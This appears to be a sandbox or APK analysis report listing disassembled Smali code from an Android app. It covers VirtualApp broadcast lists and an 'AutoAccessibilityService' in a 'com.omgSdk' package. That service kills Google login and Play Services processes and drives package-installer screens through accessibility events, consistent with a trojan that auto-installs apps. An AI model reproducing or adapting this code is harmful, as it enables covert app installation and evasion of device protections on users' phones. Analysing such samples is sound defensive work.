                              76sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              78const-string v1, "android.intent.action.BATTERY_CHANGED"
                              80invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              82sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              84const-string v1, "android.intent.action.BATTERY_LOW"
                              86invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              88sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              90const-string v1, "android.intent.action.BATTERY_OKAY"
                              92invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              94sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              96const-string v1, "android.intent.action.ACTION_POWER_CONNECTED"
                              98invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              100sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              102const-string v1, "android.intent.action.ACTION_POWER_DISCONNECTED"
                              104invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              106sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              108const-string v1, "android.provider.Telephony.SMS_RECEIVED"
                              110invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              112sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              114const-string v1, "android.provider.Telephony.SMS_DELIVER"
                              116invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              118sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              120const-string v1, "android.net.wifi.STATE_CHANGE"
                              122invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              124sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              126const-string v1, "android.net.wifi.SCAN_RESULTS"
                              128invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              130sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              132const-string v1, "android.net.wifi.WIFI_STATE_CHANGED"
                              134invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              136sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              138const-string v1, "android.net.conn.CONNECTIVITY_CHANGE"
                              140invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              142sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              144const-string v1, "android.intent.action.ANY_DATA_STATE"
                              146invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              148sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              150const-string v1, "android.intent.action.SIM_STATE_CHANGED"
                              152invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              154sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              156const-string v1, "android.location.PROVIDERS_CHANGED"
                              158invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              160sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SYSTEM_BROADCAST_ACTION:Ljava/util/Set;
                              162const-string v1, "android.location.MODE_CHANGED"
                              164invoke-interface {v0, v1}, Ljava/util/Set;->add(Ljava/lang/Object;)Z
                              166sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->ACTION_BLACK_LIST:Ljava/util/List;
                              168const-string v1, "android.appwidget.action.APPWIDGET_UPDATE"
                              170invoke-interface {v0, v1}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                              172sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->WHITE_PERMISSION:Ljava/util/HashSet;
                              174const-string v1, "com.google.android.gms.settings.SECURITY_SETTINGS"
                              176invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                              178sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->WHITE_PERMISSION:Ljava/util/HashSet;
                              180const-string v1, "com.google.android.apps.plus.PRIVACY_SETTINGS"
                              182invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                              184sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->WHITE_PERMISSION:Ljava/util/HashSet;
                              186const-string v1, "android.permission.ACCOUNT_MANAGER"
                              188invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                              190sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->PROTECTED_ACTION_MAP:Ljava/util/Map;
                              192const-string v1, "android.intent.action.PACKAGE_ADDED"
                              194const-string v2, "virtual.android.intent.action.PACKAGE_ADDED"
                              196invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              198sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->PROTECTED_ACTION_MAP:Ljava/util/Map;
                              200const-string v1, "android.intent.action.PACKAGE_REMOVED"
                              202const-string v2, "virtual.android.intent.action.PACKAGE_REMOVED"
                              204invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              206sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->PROTECTED_ACTION_MAP:Ljava/util/Map;
                              208const-string v1, "android.intent.action.PACKAGE_CHANGED"
                              210const-string v2, "virtual.android.intent.action.PACKAGE_CHANGED"
                              212invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              214sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->PROTECTED_ACTION_MAP:Ljava/util/Map;
                              216const-string v1, "android.intent.action.USER_ADDED"
                              218const-string v2, "virtual.android.intent.action.USER_ADDED"
                              220invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              222sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->PROTECTED_ACTION_MAP:Ljava/util/Map;
                              224const-string v1, "android.intent.action.USER_REMOVED"
                              226const-string v2, "virtual.android.intent.action.USER_REMOVED"
                              228invoke-interface {v0, v1, v2}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                              230sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->INSTRUMENTATION_CONFLICTING:Ljava/util/HashSet;
                              232const-string v1, "com.qihoo.magic"
                              234invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                              236sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->INSTRUMENTATION_CONFLICTING:Ljava/util/HashSet;
                              238const-string v1, "com.qihoo.magic_mutiple"
                              240invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                              242sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->INSTRUMENTATION_CONFLICTING:Ljava/util/HashSet;
                              244const-string v1, "com.facebook.katana"
                              246invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                              248sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SPEC_SYSTEM_APP_LIST:Ljava/util/HashSet;
                              250const-string v1, "android"
                              252invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                              254sget-object v0, Lcom/lody/virtual/client/env/SpecialComponentList;->SPEC_SYSTEM_APP_LIST:Ljava/util/HashSet;
                              256const-string v1, "com.google.android.webview"
                              258invoke-virtual {v0, v1}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                              259sget v0, Landroid/os/Build$VERSION;->SDK_INT:I
                              260const/16 v1, 0x18
                              261if-lt v0, v1, :cond_15a
                              262try_start_13f:
                              263sget-object v0, Lmirror/android/webkit/IWebViewUpdateService;->getCurrentWebViewPackageName:Lmirror/RefMethod;
                              265sget-object v1, Lmirror/android/webkit/WebViewFactory;->getUpdateService:Lmirror/RefStaticMethod;
                              266const/4 v2, 0x0
                              267new-array v2, v2, [Ljava/lang/Object;
                              269invoke-virtual {v1, v2}, Lmirror/RefStaticMethod;->call([Ljava/lang/Object;)Ljava/lang/Object;
                              270move-result-object v1
                              271const/4 v2, 0x0
                              272new-array v2, v2, [Ljava/lang/Object;
                              274invoke-virtual {v0, v1, v2}, Lmirror/RefMethod;->call(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                              275move-result-object v0
                              276check-cast v0, Ljava/lang/String;
                              277if-eqz v0, :cond_15a
                              279sget-object v1, Lcom/lody/virtual/client/env/SpecialComponentList;->SPEC_SYSTEM_APP_LIST:Ljava/util/HashSet;
                              281invoke-virtual {v1, v0}, Ljava/util/HashSet;->add(Ljava/lang/Object;)Z
                              282cond_15a: return-void
                              283catch_15b: move-exception v0
                              285invoke-virtual {v0}, Ljava/lang/Throwable;->printStackTrace()V
                              286goto/16 :goto_15a
                              APIs
                              • android.view.accessibility.AccessibilityEvent.getPackageName
                              • android.view.accessibility.AccessibilityEvent.getPackageName
                              • java.lang.CharSequence.toString
                              • java.lang.String.isEmpty
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.StringBuilder.<init>
                              • com.omgSdk.andoclib.AutoAccessibilityService.a:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • com.omgSdk.andoclib.AutoAccessibilityService.b:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.andoclib.AutoAccessibilityService.a:Ljava/lang/String
                              • java.lang.String.equals
                              • com.omgSdk.andoclib.AutoAccessibilityService.getApplicationContext
                              • java.lang.String.equals
                              • com.omgSdk.andoclib.AutoAccessibilityService.e:Ljava/lang/String
                              • com.omgSdk.andoclib.AutoAccessibilityService.b:Ljava/lang/String
                              • com.omgSdk.andoclib.AutoAccessibilityService.c:Ljava/lang/String
                              • android.view.accessibility.AccessibilityEvent.getPackageName
                              • java.lang.CharSequence.toString
                              • com.omgSdk.andoclib.AutoAccessibilityService.getApplicationContext
                              • java.lang.Integer.toString
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.view.accessibility.AccessibilityEvent.getPackageName
                              • java.lang.Object.equals
                              • com.omgSdk.andoclib.AutoAccessibilityService.getSystemService
                              • android.app.ActivityManager.killBackgroundProcesses
                              • java.lang.Exception.printStackTrace
                              • android.view.accessibility.AccessibilityEvent.getPackageName
                              • java.lang.Object.equals
                              • com.omgSdk.andoclib.AutoAccessibilityService.getSystemService
                              • android.app.ActivityManager.killBackgroundProcesses
                              • java.lang.Exception.printStackTrace
                              • android.view.accessibility.AccessibilityEvent.getPackageName
                              • java.lang.Object.equals
                              • android.view.accessibility.AccessibilityEvent.getPackageName
                              • java.lang.Object.equals
                              • android.view.accessibility.AccessibilityEvent.getPackageName
                              • java.lang.Object.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.StringBuilder.<init>
                              • com.omgSdk.andoclib.AutoAccessibilityService.a:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • com.omgSdk.andoclib.AutoAccessibilityService.b:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.andoclib.AutoAccessibilityService.a:Ljava/lang/String
                              • com.omgSdk.andoclib.AutoAccessibilityService.getRootInActiveWindow
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • android.view.accessibility.AccessibilityEvent.getPackageName
                              • java.lang.Object.equals
                              • java.lang.String.equals
                              • java.lang.String.equals
                              • java.lang.StringBuilder.<init>
                              • com.omgSdk.andoclib.AutoAccessibilityService.a:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • com.omgSdk.andoclib.AutoAccessibilityService.b:Ljava/lang/String
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • com.omgSdk.andoclib.AutoAccessibilityService.a:Ljava/lang/String
                              • com.omgSdk.andoclib.AutoAccessibilityService.getRootInActiveWindow
                              • com.omgSdk.andoclib.AutoAccessibilityService.b
                              • android.view.accessibility.AccessibilityEvent.getEventType
                              • com.omgSdk.andoclib.AutoAccessibilityService.getRootInActiveWindow
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              • com.omgSdk.andoclib.AutoAccessibilityService.getRootInActiveWindow
                              • com.omgSdk.andoclib.AutoAccessibilityService.a
                              Strings
                              • NowData
                              • nowData
                              • mSelectedPlatform
                              • mSelectedType
                              • BPoint
                              • off
                              • on
                              • appleid
                              • ServerLaunch
                              • com.google.android.gsf.login
                              • activity
                              • com.google.android.gms
                              • com.android.packageinstaller
                              • com.lenovo.security
                              • com.miui.packageinstaller
                              • com.android.vending
                              • TYPE_WINDOW_CONTENT_CHANGED
                              Position Instruction Meta Information
                              0.annotation build Landroid/annotation/TargetApi;
                              1value = 0x10
                              2.end annotation
                              3.prologue
                              4const/4 v6, 0x2
                              5const/4 v5, 0x1
                              6const/4 v4, 0x0
                              7if-eqz p1, :cond_b
                              9invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                              10move-result-object v0
                              11if-nez v0, :cond_c
                              12cond_b: return-void
                              13cond_c:
                              14invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                              15move-result-object v0
                              17invoke-interface {v0}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                              18move-result-object v0
                              20invoke-virtual {v0}, Ljava/lang/String;->isEmpty()Z
                              21move-result v1
                              22if-nez v1, :cond_b
                              24invoke-static {p0}, Lcom/omg/base/Config;->current(Landroid/content/Context;)Lcom/omg/base/Config;
                              25move-result-object v1
                              27const-string/jumbo v2, "NowData"
                              29const-string/jumbo v3, "nowData"
                              31invoke-virtual {v1, v2, v3}, Lcom/omg/base/Config;->getValue(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              32move-result-object v1
                              34invoke-static {p0, v1}, Lcom/omgSdk/andoclib/h;->a(Landroid/content/Context;Ljava/lang/String;)Landroid/content/SharedPreferences;
                              36const-string/jumbo v1, "mSelectedPlatform"
                              38invoke-static {v1}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              39move-result-object v1
                              40if-eqz v1, :cond_96
                              42const-string/jumbo v1, ""
                              44const-string/jumbo v2, "mSelectedPlatform"
                              46invoke-static {v2}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              47move-result-object v2
                              49invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              50move-result v1
                              51if-nez v1, :cond_96
                              53const-string/jumbo v1, "mSelectedType"
                              55invoke-static {v1}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              56move-result-object v1
                              57if-eqz v1, :cond_96
                              59const-string/jumbo v1, ""
                              61const-string/jumbo v2, "mSelectedType"
                              63invoke-static {v2}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              64move-result-object v2
                              66invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              67move-result v1
                              68if-nez v1, :cond_96
                              70const-string/jumbo v1, "mSelectedPlatform"
                              72invoke-static {v1}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              73move-result-object v1
                              74iput-object v1, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a:Ljava/lang/String;
                              76const-string/jumbo v1, "mSelectedType"
                              78invoke-static {v1}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              79move-result-object v1
                              80iput-object v1, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->b:Ljava/lang/String;
                              82invoke-static {p0}, Lcom/omgSdk/andoclib/e;->b(Landroid/content/Context;)Lcom/omgSdk/andoclib/e$a;
                              83move-result-object v1
                              84new-instance v2, Ljava/lang/StringBuilder;
                              86invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
                              88iget-object v3, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a:Ljava/lang/String;
                              90invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              91move-result-object v2
                              93iget-object v3, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->b:Ljava/lang/String;
                              95invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              96move-result-object v2
                              98invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              99move-result-object v2
                              101invoke-interface {v1, v2, v4}, Lcom/omgSdk/andoclib/e$a;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              102move-result-object v1
                              103iput-object v1, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->c:Ljava/lang/String;
                              105iget-object v1, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a:Ljava/lang/String;
                              107invoke-static {p0, v1}, Lcom/omgSdk/commen/d;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                              108move-result-object v1
                              109iput-object v1, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->e:Ljava/lang/String;
                              110cond_96:
                              111invoke-static {v0}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              112move-result-object v1
                              113if-eqz v1, :cond_116
                              115invoke-static {v0}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              116move-result-object v1
                              118invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              119move-result v1
                              120if-eqz v1, :cond_116
                              122invoke-virtual {p0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->getApplicationContext()Landroid/content/Context;
                              123move-result-object v1
                              125invoke-static {v1}, Lcom/omgSdk/andoclib/e;->b(Landroid/content/Context;)Lcom/omgSdk/andoclib/e$a;
                              126move-result-object v1
                              128const-string/jumbo v2, "BPoint"
                              130const-string/jumbo v3, "off"
                              132invoke-interface {v1, v2, v3}, Lcom/omgSdk/andoclib/e$a;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              133move-result-object v1
                              135const-string/jumbo v2, "on"
                              137invoke-virtual {v1, v2}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              138move-result v1
                              139if-eqz v1, :cond_102
                              141invoke-static {p0}, Lcom/omgSdk/a/b;->a(Landroid/content/Context;)Lcom/omgSdk/a/b;
                              142move-result-object v1
                              144iget-object v2, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->e:Ljava/lang/String;
                              146invoke-virtual {v1, v5, v2}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              147move-result-object v1
                              149iget-object v2, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->b:Ljava/lang/String;
                              151invoke-virtual {v1, v6, v2}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              152move-result-object v1
                              153const/4 v2, 0x3
                              155iget-object v3, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->c:Ljava/lang/String;
                              157invoke-virtual {v1, v2, v3}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              158move-result-object v1
                              159const/4 v2, 0x4
                              161invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                              162move-result-object v3
                              164invoke-interface {v3}, Ljava/lang/CharSequence;->toString()Ljava/lang/String;
                              165move-result-object v3
                              167invoke-virtual {v1, v2, v3}, Lcom/omgSdk/a/b;->a(ILjava/lang/String;)Lcom/omgSdk/a/b;
                              168move-result-object v1
                              170invoke-virtual {p0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->getApplicationContext()Landroid/content/Context;
                              171move-result-object v2
                              173const-string/jumbo v3, "appleid"
                              175invoke-static {v2, v3}, Lcom/omgSdk/andoclib/Admob;->getMiddleVersionCode(Landroid/content/Context;Ljava/lang/String;)I
                              176move-result v2
                              178invoke-static {v2}, Ljava/lang/Integer;->toString(I)Ljava/lang/String;
                              179move-result-object v2
                              181invoke-virtual {v1, v2}, Lcom/omgSdk/a/b;->b(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              182move-result-object v1
                              184const-string/jumbo v2, "ServerLaunch"
                              186invoke-virtual {v1, v2}, Lcom/omgSdk/a/b;->a(Ljava/lang/String;)Lcom/omgSdk/a/b;
                              187move-result-object v1
                              189invoke-virtual {v1}, Lcom/omgSdk/a/b;->b()V
                              190cond_102: new-instance v1, Ljava/lang/StringBuilder;
                              192invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              194invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              195move-result-object v1
                              197invoke-virtual {v1, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              198move-result-object v1
                              200invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              201move-result-object v1
                              203invoke-static {v0, v1}, Lcom/omgSdk/andoclib/h;->a(Ljava/lang/String;Ljava/lang/Object;)V
                              204cond_116:
                              205invoke-static {p0}, Lcom/omgSdk/commen/d;->b(Landroid/content/Context;)Z
                              206move-result v0
                              207if-eqz v0, :cond_b
                              209invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                              210move-result-object v0
                              212const-string/jumbo v1, "com.google.android.gsf.login"
                              214invoke-virtual {v0, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                              215move-result v0
                              216if-eqz v0, :cond_142
                              217try_start_129:
                              218const-string/jumbo v0, "activity"
                              220invoke-virtual {p0, v0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              221move-result-object v0
                              222check-cast v0, Landroid/app/ActivityManager;
                              223if-eqz v0, :cond_b
                              225const-string/jumbo v1, "com.google.android.gsf.login"
                              227invoke-virtual {v0, v1}, Landroid/app/ActivityManager;->killBackgroundProcesses(Ljava/lang/String;)V
                              228try_end_13a: goto/16 :goto_b
                              229catch_13c: move-exception v0
                              231invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              232goto/16 :goto_b
                              233cond_142:
                              234invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                              235move-result-object v0
                              237const-string/jumbo v1, "com.google.android.gms"
                              239invoke-virtual {v0, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                              240move-result v0
                              241if-eqz v0, :cond_168
                              242try_start_14f:
                              243const-string/jumbo v0, "activity"
                              245invoke-virtual {p0, v0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                              246move-result-object v0
                              247check-cast v0, Landroid/app/ActivityManager;
                              248if-eqz v0, :cond_b
                              250const-string/jumbo v1, "com.google.android.gms"
                              252invoke-virtual {v0, v1}, Landroid/app/ActivityManager;->killBackgroundProcesses(Ljava/lang/String;)V
                              253try_end_160: goto/16 :goto_b
                              254catch_162: move-exception v0
                              256invoke-virtual {v0}, Ljava/lang/Exception;->printStackTrace()V
                              257goto/16 :goto_b
                              258cond_168:
                              259invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                              260move-result-object v0
                              262const-string/jumbo v1, "com.android.packageinstaller"
                              264invoke-virtual {v0, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                              265move-result v0
                              266if-nez v0, :cond_18f
                              268invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                              269move-result-object v0
                              271const-string/jumbo v1, "com.lenovo.security"
                              273invoke-virtual {v0, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                              274move-result v0
                              275if-nez v0, :cond_18f
                              277invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                              278move-result-object v0
                              280const-string/jumbo v1, "com.miui.packageinstaller"
                              282invoke-virtual {v0, v1}, Ljava/lang/Object;->equals(Ljava/lang/Object;)Z
                              283move-result v0
                              284if-eqz v0, :cond_205
                              285cond_18f:
                              286const-string/jumbo v0, "mSelectedPlatform"
                              288invoke-static {v0}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              289move-result-object v0
                              290if-eqz v0, :cond_1fa
                              292const-string/jumbo v0, ""
                              294const-string/jumbo v1, "mSelectedPlatform"
                              296invoke-static {v1}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              297move-result-object v1
                              299invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              300move-result v0
                              301if-nez v0, :cond_1fa
                              303const-string/jumbo v0, "mSelectedType"
                              305invoke-static {v0}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              306move-result-object v0
                              307if-eqz v0, :cond_1fa
                              309const-string/jumbo v0, ""
                              311const-string/jumbo v1, "mSelectedType"
                              313invoke-static {v1}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              314move-result-object v1
                              316invoke-virtual {v0, v1}, Ljava/lang/String;->equals(Ljava/lang/Object;)Z
                              317move-result v0
                              318if-nez v0, :cond_1fa
                              320const-string/jumbo v0, "mSelectedPlatform"
                              322invoke-static {v0}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              323move-result-object v0
                              324iput-object v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a:Ljava/lang/String;
                              326const-string/jumbo v0, "mSelectedType"
                              328invoke-static {v0}, Lcom/omgSdk/andoclib/h;->c(Ljava/lang/String;)Ljava/lang/String;
                              329move-result-object v0
                              330iput-object v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->b:Ljava/lang/String;
                              332invoke-static {p0}, Lcom/omgSdk/andoclib/e;->b(Landroid/content/Context;)Lcom/omgSdk/andoclib/e$a;
                              333move-result-object v0
                              334new-instance v1, Ljava/lang/StringBuilder;
                              336invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                              338iget-object v2, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a:Ljava/lang/String;
                              340invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              341move-result-object v1
                              343iget-object v2, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->b:Ljava/lang/String;
                              345invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                              346move-result-object v1
                              348invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                              349move-result-object v1
                              351invoke-interface {v0, v1, v4}, Lcom/omgSdk/andoclib/e$a;->a(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              352move-result-object v0
                              353iput-object v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->c:Ljava/lang/String;
                              355iget-object v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a:Ljava/lang/String;
                              357invoke-static {p0, v0}, Lcom/omgSdk/commen/d;->a(Landroid/content/Context;Ljava/lang/String;)Ljava/lang/String;
                              358move-result-object v0
                              359iput-object v0, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->e:Ljava/lang/String;
                              360cond_1fa: iput v5, p0, Lcom/omgSdk/andoclib/AutoAccessibilityService;->d:I
                              362invoke-virtual {p0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->getRootInActiveWindow()Landroid/view/accessibility/AccessibilityNodeInfo;
                              363move-result-object v0
                              365invoke-direct {p0, v0}, Lcom/omgSdk/andoclib/AutoAccessibilityService;->a(Landroid/view/accessibility/AccessibilityNodeInfo;)V
                              366goto/16 :goto_b
                              367cond_205:
                              368invoke-virtual {p1}, Landroid/view/accessibility/AccessibilityEvent;->getPackageName()Ljava/lang/CharSequence;
                              369move-result-object v0
                              371const-string/jumbo v1, "com.android.vending"
